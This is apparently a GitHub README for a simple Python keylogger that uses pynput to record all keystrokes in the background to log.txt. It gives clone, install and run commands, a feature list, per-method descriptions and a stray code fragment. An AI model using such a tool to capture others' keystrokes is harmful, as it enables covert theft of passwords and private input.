This Python script implements a simple keylogger using the pynput library to capture keystrokes. The script runs in the background, recording keys pressed on the keyboard and saving them to a log file (log.txt).

Installation

1. Clone the repo or just copy the script to a desired .py file

git clone https://github.com/yaxhx/keylogger.git
cd keylogger

2. Install the pynput library

pip install pynput

Usage

1. Run the script

python key.py

2. Stop the script

Press the 'Esc' key to stop the keylogger.

        writer.start()
        while self.running:
            time.sleep(1)

    def main(self):
        self.run()

if __name__ == "__main__":
    keylogger = KeyLogger()
    keylogger.main()

Features

• Captures all key presses.
• Records the timestamp of each capture session
• Saves logs to a file (log.txt).
• Stops logging when the Esc key is pressed.

Script Overview

'KeyLogger' Class

The KeyLogger class contains methods to start, stop, and run the keylogger.

• __init__(): Initializes the keylogger, sets up an empty list to store keys, and sets the log file name.

• start(): Starts the key listener.

• stop(): Stops the key listener.

• on_press(key): Handles key press events. If the Esc key is pressed, it stops the keylogger; otherwise, it adds the key to the list.

• on_release(key): Placeholder for key release events (not used).

• write_keys(): Writes the captured keys to the log file at regular intervals.

• run(): Starts the key listener and the logging thread.

• main(): Entry point to run the keylogger.
